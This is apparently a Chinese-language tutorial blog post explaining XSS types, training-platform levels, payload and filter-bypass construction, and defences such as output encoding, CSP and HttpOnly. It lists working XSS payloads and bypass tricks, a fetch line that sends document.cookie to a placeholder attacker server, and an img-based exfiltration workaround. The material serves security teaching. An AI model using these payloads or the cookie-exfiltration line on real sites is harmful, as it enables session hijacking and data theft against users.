聊XSS这个问题,几乎每个做Web安全的人入门时都绕不开。我见过很多新手在刚接触网络安全时,第一个真正“玩明白”的漏洞就是XSS——它不是最难的,但一定是最能让你理解“浏览器信任模型”的一个类型。XSS的全称是跨站脚本攻击(Cross-Site Scripting),简单说就是攻击者把一段恶意脚本塞进了一个原本可信的页面,然后浏览器在执行页面脚本时,把这段恶意代码也一并执行了。这就像你在网上买了一箱货,结果快递箱里混进了一张写着恶意指令的纸条,而打开箱子的人还真的照纸条上的话去做了。
这篇文章围绕“什么是XSS”和“XSS通关”展开,我会从XSS的核心原理讲起,再到通关式训练平台的设计思路、常用载荷构造、过滤绕过技巧,最后落到防御方的视角。不管你是Web安全初学者、前端开发者,还是想系统性地做一次漏洞排查,这篇文章都能给你一套可以直接参考的思路。所有涉及攻击验证的内容,请务必在你自己搭建的靶场或者有明确授权的测试环境中进行,这点我会在文章里反复强调。
1. 先搞懂XSS到底是什么:浏览器为什么会被“牵着走”
1.1 一个关于“信任”的漏洞模型
要理解XSS,首先得理解浏览器的一个核心机制:当浏览器加载一个页面时,它会无条件信任这个页面的所有资源和脚本,因为这些代码被认为是页面开发者“自己人”写的。XSS攻击的精髓就在于,攻击者想办法把自己的代码伪装成页面的一部分,骗过浏览器执行。
打个比方:你家小区门口有个快递柜,所有人取件时只需要输入取件码,快递柜就开门。XSS攻击者不会去撬锁,而是想办法在别人取件前,把一张写着“我已帮你取完件,不用再操作了”的字条贴上去。你看到字条,觉得这是快递柜自己写的提示,就走了,实际上包裹已经被拿走了。XSS就是这个“贴字条”的过程——它利用的是系统对页面内容的信任,而不是真正破解了什么加密或认证。
在整个攻击链条中,有三个关键角色:
- 受害者:无辜地访问了一个被污染的页面,浏览器替攻击者执行了恶意代码。
- 脆弱页面:页面本身没有对用户可控的输入做足够的处理,导致脚本被注入。
- 攻击者:构造出恶意载荷,通过某个输入点注入到页面中。
你不需要背概念,只需要记住这个三角:输入、输出、信任边界。XSS之所以被归类为“客户端漏洞”,是因为它最终的攻击对象是浏览器,而不是服务器。服务器很多时候只是“传话筒”,真正的伤害发生在访问页面的用户浏览器里。
1.2 三种主流类型:反射型、存储型、DOM型
XSS在实战中通常被分为三种类型,它们的区别在于恶意代码“存活”的位置和触发方式。如果你准备走通关式学习,这三类的区分是第一个关卡。
| 类型 | 注入位置 | 是否经过服务器 | 持久性 | 典型触发场景 |
|---|---|---|---|---|
| 反射型 | URL参数、搜索框等 | 是,服务端拼接返回 | 一次请求,非持久 | 钓鱼链接、伪装搜索页 |
| 存储型 | 评论、留言、用户昵称 | 是,写入数据库 | 持久化,每次访问都触发 | 论坛帖子、商品评价 |
| DOM型 | URL片段、localStorage等前端输入 | 否,纯前端逻辑处理 | 不经过服务端,改前端代码 | 单页应用、前端路由 |
反射型XSS的过程大概是这样的:攻击者构造一个包含恶意脚本的URL,把链接发给受害者。受害者点击后,服务器在响应页面中把这个参数原样返回,浏览器解析HTML时执行了脚本。这种类型的特征是一次性,恶意代码不会存在服务器上,所以需要诱骗受害者主动点击链接。
存储型XSS则要“深”得多。恶意脚本被写入数据库,下次任何用户访问到这段内容时,都会触发。存储型XSS的危害级别通常高于反射型,因为它不需要受害者点击什么特殊链接,你只要看了那个页面,脚本就执行了。一个常见的例子:攻击者在一个博客评论区提交了恶意评论,管理员每次访问后台审核评论时,这个恶意代码就在管理员的浏览器里跑起来,直接拿走管理员的会话凭证。
DOM型XSS近几年尤其值得关注,因为现代前端框架和单页应用越来越多。它的特点是不经过服务器,恶意代码完全在前端DOM操作的过程中被触发。比如页面中有个JS逻辑:读取URL中的参数,然后通过innerHTML写进某个节点。攻击者把参数改成恶意标签,DOM更新时就直接把标签解析成了HTML节点,脚本随之执行。整个过程服务端完全不知情,因此传统的服务端过滤对这种类型几乎无效。
这三类XSS有一个共同的底层原因:不可信的数据进入了HTML解析的“危险上下文”。区别只是进入这条路径的入口在哪,以及生命周期有多长。理解这一点,对你后面看通关平台的关卡设计会非常有帮助——几乎所有关卡都是围绕着如何让数据“落入”某个危险上下文,以及如何构造数据恰好绕过过滤规则展开的。
2. 通关式学习为什么有效:从“弹窗游戏”到真正的漏洞思维
2.1 闯关平台的设计逻辑,本质是刻意练习
市面上有一些专门用于XSS训练的通关项目,它们把靶场设计成一个个关卡,从最基础的payload构造开始,逐步增加过滤规则、输出环境、上下文限制等难度。我自己完整刷过两轮这种平台,第一轮纯靠猜,第二轮才真正开始理解每个关卡背后的设计意图。如果非要给新手一个学习建议,我会说:不要只看通关攻略,一定要自己摸索,摸索的过程才是学习的主体。
为什么通关式学习比单纯的看教程有效?因为它把XSS的知识点拆成了“可验证的单元”。每一关都有明确的目标,比如“在div标签内触发弹窗”“在属性值中闭合引号从而新增事件”“绕过对script字符串的过滤重新构造脚本”。每过一关,你就掌握了一种具体的输入输出关系和过滤绕过思路。这种反馈机制很像健身时记录每次能举起的大重量——你有明确的目标,有即时反馈,知道自己的水平进化到什么程度了。
通关平台通常还有一个隐性价值:它帮你避开了“没有合法攻击目标”的问题。你不需要去真实网站上测试,平台自身就是合法的靶场环境。这一点非常重要,很多人在刚学Web安全时最大的困惑不是看不懂知识,而是找不到可以合法实践的地方。
2.2 关卡维度拆解:输入点、输出点、过滤规则
我把通关平台的关卡设计拆开来看,其实就三个维度在反复组合。
第一个是输入点。同一段代码,输入点可能在URL参数、可能在表单提交、可能在Cookie、可能在本地存储,甚至可能在window.name这种很少有人注意的地方。不同的输入点决定了攻击者是否能方便地控制数据内容。URL参数是最常见的,因为攻击者可以让受害者点击一个包含恶意参数的链接;而Cookie注入相对困难,因为通常需要先有一个注入点才能修改Cookie。
第二个是输出点。输出点决定了恶意数据最终被浏览器以什么方式解析。常见的输出点分成几类:直接输出在HTML标签之间,比如<div>输出内容</div>;输出在某个标签的属性值里,比如<img src="输出内容">;输出在JavaScript脚本的字符串中,比如var name = "输出内容"。这三类输出点的绕过策略完全不同:在标签间你需要构造一个完整的标签,在属性值里你需要先闭合引号,在JS字符串中你需要闭合字符串并中断语义。
第三个是过滤规则。平台为了制造难度,通常加入一些黑名单式的过滤,把常见的<script>、alert(1)、onerror等关键字直接替换为空。但有些平台过滤不彻底,比如它们只过滤了script标签,却没有过滤img的onerror事件,这就能轻松绕过。过滤规则的设置决定了一个关卡是“有效难度”还是“灌水难度”。真正设计得好的过滤规则,不会一刀切禁掉所有标签,而是模拟真实场景中开发者最容易出现的过滤漏洞,比如用黑名单而不是白名单、只做一次过滤、大小写敏感等。
我自己刷题时有一个习惯:每过一关都记下“这关的输入点在哪个位置、输出点是什么类型、过滤了什么”。倒回去看,这就是一份很好的漏洞类型分类笔记。通关本身不是目的,建立这种“三元组”的思考框架才是。
3. 核心攻击载荷与绕过技巧:从弹窗验证到真实利用
3.1 基础载荷:你为什么老是看到alert(1)
在通关训练和心理教学中,最常见的验证载荷是<script>alert(1)</script>。很多人会问,为什么非要用alert(1),换点别的不行吗?从功能上说,alert只是用来证明脚本已经被执行,是一个“信号弹”。在靶场环境里,弹窗就是你说服自己“代码执行了”的最直观证据。但在真实利用中,没人会去弹窗,那等于主动暴露攻击行为。真实利用通常是静默的:读取Cookie、发送请求、篡改DOM。
理解了这一点,你就会发现载荷构造的核心是“能在目标上下文里插入什么”。我们按输出点分类来看:
- HTML标签之间:尝试注入一个完整的新标签,比如
<img src=x onerror=alert(1)>。 - 标签属性值中:需要先闭合当前属性,例如
"><img src=x onerror=alert(1)>。 - JavaScript字符串中:需要闭合字符串和语句,例如
';alert(1);//。 - URL地址中:可以尝试
javascript:伪协议,比如<a href="javascript:alert(1)">点击</a>。
这几类载荷的构造逻辑不复杂,但每一步都需要你搞清楚页面最终生成的HTML结构长什么样。我每次写载荷前都会先在脑子里模拟一遍浏览器解析HTML的过程:标签怎么闭合、属性怎么结束、脚本上下文怎么中断。想不通就打开浏览器的开发者工具,看实际渲染出来的DOM结构,这是最高效的调试方式。
3.2 过滤绕过:当直接注入行不通时
通关平台的关卡往往会设置一些基础过滤,常见的绕过手段有这些,我直接按优先级列出来:
- 大小写混写:
<ScRiPt>,如果过滤规则是严格区分大小写的黑名单,就能直接绕过。 - 标签替代:过滤了
script标签,可以换img、svg、video、details等自带事件属性的标签。 - 编码绕过:使用HTML实体编码、Unicode编码、URL编码等方式混淆关键字符。比如
javascript:写成javascript:,在某些解析场景下浏览器会正常解码。 - 事件属性:
onerror被过滤了可以试onload、onfocus、onmouseover,甚至onanimationend这种冷门事件。 - 空格过滤:空格被过滤了可以用
/、Tab、换行符替代。 - 括号过滤:如果过滤了
(和),可以尝试反引号包裹函数体,比如alert\1``。 - 关键字拼接:如果过滤了
alert字符串,可以在前端用eval拼接:eval('ale'+'rt(1)'),当然很多场景下这个技巧比较老,但仍有参考价值。
我印象最深的一次绕过经历是某关上过滤了所有常见的事件属性,最后我用了一个很少人注意到的<details ontoggle>标签。details元素支持ontoggle事件,当用户点击展开时触发,而且大多数黑名单不会把ontoggle列入常见关键字。这给我一个很重要的启发:过滤黑名单永远带有盲区,攻击者需要的是一个非常规的“落点”,而不是与过滤规则硬碰硬。
另外提醒一点:编码绕过必须配合实际场景来实验。同样一段实体编码,在HTML上下文中能用,在JavaScript字符串中可能完全不起作用,因为解码时机不同。每一关都要实际测试,不要凭直觉判断。
3.3 从弹窗到真实利用:构造一次会话窃取
当你掌握了基础的载荷构造,就可以尝试把XSS升级为真正的“可利用”漏洞。一个教科书式的利用就是把受害者的Cookie发送到攻击者的服务器。这个过程的核心代码只有一行(以某在线挑战平台为例):
fetch('http://攻击者服务器/c2h.php?c=' + document.cookie)这段代码在受害者的浏览器中执行时,会把当前站点的Cookie值拼接到请求URL中,发送到攻击者的服务器。需要配合的条件是:受害者的Cookie没有设置HttpOnly属性。这也解释了为什么现在开发规范要求所有会话Cookie必须加HttpOnly——加了之后document.cookie根本读取不到,XSS偷Cookie这一步就直接失效。
真实利用场景不只有偷Cookie,还有键盘记录、页面钓鱼、CSRF联动、内网探测等。但作为学习阶段,偷Cookie是最直观的理解路径,因为它清楚地展示了XSS的危害链条:注入脚本、静默执行、数据外带、攻击者接收。整个过程不涉及任何爆破或者暴力破解,纯粹是利用了“浏览器信任页面内容”这个特性。
再次强调:在上述任何练习中,攻击者服务器和靶场都是你自己控制的环境。不要在未授权的网站上尝试任何形式的载荷测试,这不仅是法律风险的问题,也是安全从业者最基本的职业底线。
4. 从攻击视角切换到防守视角:开发者该怎么修
4.1 输出编码:真正根子上的修复方案
很多开发者对XSS的第一反应是“过滤用户的输入”,但如果你把思考再往前推一步,会发现输入过滤很难做到万无一失——你不知道用户会从哪个入口提交数据,也不知道哪个入口的数据会被哪一层逻辑复用。真正的根治思路应该是输出编码,也就是说,在下发数据到浏览器之前,根据输出位置把危险字符变成无害的文本。
举个例子:如果数据要被输出在HTML标签之间,那<应该编码成<,>编码成>,浏览器在渲染时会把实体符号显示成字面上的尖括号,而不会当成标签解析。如果数据被输出在JavaScript字符串中,那就需要做JS上下文编码,比如把'变成\u0027,把换行变成\n转义,确保攻击者无法通过闭合引号中断原有的JS语句。
不同上下文的编码规则完全不同,这也是修复XSS最容易被忽略的地方——很多开发者只对HTML做了实体编码,却没有对JavaScript上下文做处理。你可以在本地搭一个测试页面,分别把同样的恶意输入放进<div>、<input value>和<script>三种位置,看看编码后的字符在每一步的渲染和处理过程中发生了什么变化。只有理解了“输出上下文决定编码策略”这一点,你才算真的懂了XSS修复。
上下文编码速查表(以某安全编码库为例):
| 输出上下文 | 编码方式示例 | 关键字符处理 |
|---|---|---|
| HTML标签内容 | <>& | 把<、>、&转为实体 |
| HTML属性值 | 引号转义为" | 双引号、单引号、空格 |
| JavaScript字符串 | 反斜杠转义 | '、"、\、换行 |
| URL路径 | URL编码 | 特殊字符百分比编码 |
4.2 浏览器侧纵深防御:CSP、HttpOnly和现代安全头
即使开发者的编码做得不够好,浏览器侧的安全机制也能兜住一部分风险。这里重点说两个最常用的手段。
第一是CSP(内容安全策略)。通过响应头Content-Security-Policy来限制页面可以加载的脚本来源。比如下面这条策略:
Content-Security-Policy: script-src 'self' https://trusted.cdn.com这条策略告诉浏览器:脚本只能从当前域名和指定的CDN域名加载,任何内联脚本或者从其他域名加载的脚本都会被拒绝执行。CSP对XSS的杀伤力在于,即使攻击者成功注入了<script>alert(1)</script>这样的标签,浏览器因为CSP限制也会拒绝执行它。当然,CSP的配置需要精细设计,配置太严可能导致功能失效,配置太松又形同虚设。常见的坑是使用'unsafe-inline'关键字允许内联脚本,这让CSP的防护效果大打折扣。
第二是Cookie的HttpOnly属性。它拦不住XSS注入本身,但能防止攻击者通过JavaScript读取到会话凭证。设置方式很简单:
Set-Cookie: sessionid=abc123; HttpOnly; Secure有了HttpOnly,document.cookie就取不到这个会话ID。攻击者即使执行了脚本,也只能看到空对象或者非敏感的Cookie。这不一定百分之百阻止攻击,但能让常见的“偷Cookie”利用链直接失效。
4.3 输入校验不是第一道防线,但依然要做
在XSS修复思路里,单靠输入过滤有隐患,但这不代表输入校验不需要做。正确的做法是把输入校验理解为“业务规则层”的把关,比如年龄字段只接受数字、邮箱字段必须符合邮箱格式。这种白名单式的校验能减少脏数据进入系统的概率,从而降低下游处理逻辑出错的风险。
真正的误区是:开发者用黑名单拦截关键字,比如把script、alert直接替换为空,然后以为安全了。黑名单的思路有两个致命缺陷,一是维护成本极高(攻击者总能找到冷门标签或新事件),二是过滤可能在多个环节被绕过。靶场的很多关卡就是在演示你绝对想不到的绕过姿势。如果你未来在代码评审时看到有人用黑名单拦截XSS,建议直接建议他改成输出编码加CSP的组合方案。
5. 常见问题与排查技巧实录:我踩过的那些坑
5.1 明明逻辑上有XSS,为什么就是弹不出窗
这是通关训练中频率最高的困惑。我总结下来,九成的情况是以下三个原因之一:
- 输出位置判断错了。你以为数据输出在了HTML标签间,实际上它被输出在了属性值中,直接以标签形式注入会被浏览器当成普通文本处理。
- 过滤规则被忽略了。平台可能在你提交时把
<和>都过滤了,你看到的页面源码里根本没有你的标签。 - 浏览器编码导致载荷失效。比如数据在传输过程中被URL编码了一轮,恶意标签里的
<变成了%3C,浏览器在HTML解析阶段不会把%3C当成标签开始符。
排查步骤我建议固定为:先在浏览器开发者工具里看实际渲染后的DOM节点,再对比服务器返回的原始响应,最后逐个字符检查自己的载荷是否与预期一致。别小看最后一步,很多莫名其妙的问题其实就是少写了一个"或者多了个空格。
5.2 载荷执行了,但数据外带失败
当你成功弹出alert(1),开始尝试把Cookie发送到指定服务器时,会发现外带这步经常不成功。大概率是以下问题:
- 同源策略:页面上的脚本默认只能访问当前域名的路径,跨域请求可能会被拦截。
- CSP限制:目标环境配置了CSP,限制了可以访问的远端地址。
- 私隐机制:某些现代浏览器对第三方Cookie、第三方请求做了阻断。
- HttpOnly:读取Cookie时发现关键凭证根本取不到。
排查这类问题,要先在浏览器控制台手动执行一次fetch请求,看控制台报什么错。如果被同源策略拦截,就尝试用其他方式外带,比如动态创建一个img标签,把数据拼在图片地址里。img的src请求不受同源策略限制,这是一个经典的绕过通道。如果document.cookie取不到东西,先查看Cookie属性再决定是绕过还是换一种利用方式。这些排查过程本身就是很好的学习资料,建议记录下来。
5.3 通关卡住时的通用思路
刷通关平台卡关是很正常的,我遇到过一关想了半天才突然意识到问题所在的情况。如果你也卡住了,试试下面这套通用流程:
- 先看源码分析:大多数靶场平台都提供了关卡源码,不是用来直接抄答案的,而是通过源码明确过滤逻辑和输出位置。
- 逐字符测试过滤规则:不知道过滤了什么,就逐个提交特殊字符,观察返回结果中哪些字符被修改了。
- 构造闭合再绕过:先用无害字符确认输出点上下文,比如提交一个
TEST123,在源码里搜索它出现在哪个位置,再按“闭合后另起标签”的思路构造载荷。 - 收拾必杀技:如果实在没思路,休息一会儿。换换脑子回来后,往往一眼就看到之前忽略的细节。这个听起来很玄学,但做安全测试的人都知道,长时间盯着同一段代码会造成视野盲区。
我在实战中还发现一个特别好用的习惯:把每道关卡原始页面源码保存下来,用自己的脚本对比提交前后DOM的变化。这比单纯靠肉眼检查要快得多,也更容易发现隐藏的过滤链路。
结尾
写了这么多,最后想分享一点我自己的体会:XSS通关训练真正带给我的,不是背下来多少种payload,而是对“数据在浏览器里如何被解析”这件事建立了直觉。每次写前端代码,我都会下意识地想一下:这个变量将来会不会被插入到HTML中?如果会,我要不要现在就对它做输出编码?这种思维习惯,比任何一次通关分数都珍贵。
如果你刚开始接触XSS,建议按照“先理解三类原理,再做通关训练,最后尝试自己修复一个有漏洞的Demo页面”这条路径来推进。踩过几次坑之后你就会发现,XSS并不神秘,它只是“信任边界”失控的一个缩影。从攻击者视角跳到防守者视角,再从防守者视角回到代码本身,这个过程走通之后,你对Web安全的理解会有一个质的提升。祝你在合法靶场里玩得开心,也希望你通关之后,带着那种发现漏洞的敏锐感,用在更有价值的地方——也就是把你自己的代码变得更安全。